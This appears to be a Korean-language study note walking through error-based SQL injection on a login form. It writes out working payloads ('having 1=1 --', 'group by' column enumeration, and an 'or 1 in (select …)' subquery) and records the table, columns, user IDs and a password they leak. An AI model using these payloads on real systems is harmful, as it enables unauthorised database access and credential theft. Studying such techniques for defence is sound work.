예상 SQL 문
”SELECT * FROM ~~ WHERE user_id = ‘id’ and passwd = ‘pw’”
예상 SQL 변경
”SELECT * FROM ~~ WHERE user_id = ‘’ having 1=1 --’ and passwd = ‘pw’”
group by 문이 없기 때문에 해당 오류메시지 유도
‘테이블명 . 첫 번째 컬럼명’ 이 에러페이지에 노출

⇒ Table : Members
⇒ 첫 번째 Column : num
예상 SQL 변경
”SELECT * FROM ~~ WHERE user_id = ‘‘group by num --’ and passwd = ‘pw’”

⇒ 두 번째 Column 명 : user_id
예상 SQL 변경
”SELECT * FROM ~~ WHERE user_id = ‘‘group by num, user_id --’ and passwd = ‘pw’”

⇒ 세 번째 Column 명 : passwd
예상 SQL 변경
”SELECT * FROM ~~ WHERE user_id = ‘‘ or 1 in (select user_id from members) --’ and passwd = ‘pw’”

⇒ user_id Column의 첫 번째 Data : new123

⇒ user_id Column의 두 번째 Data : ryu123

⇒ user_id Column의 세 번째 Data : admin
더 이상 나오지 않을 때 까지 추출하면 다 추출한 것이다

⇒ passwd Column의 첫 번째 Data : asdf
ID와 PW를 추출했다고해서 무조건 매칭 되는 것은 아니다 (첫 번째 ≠ 첫 번째)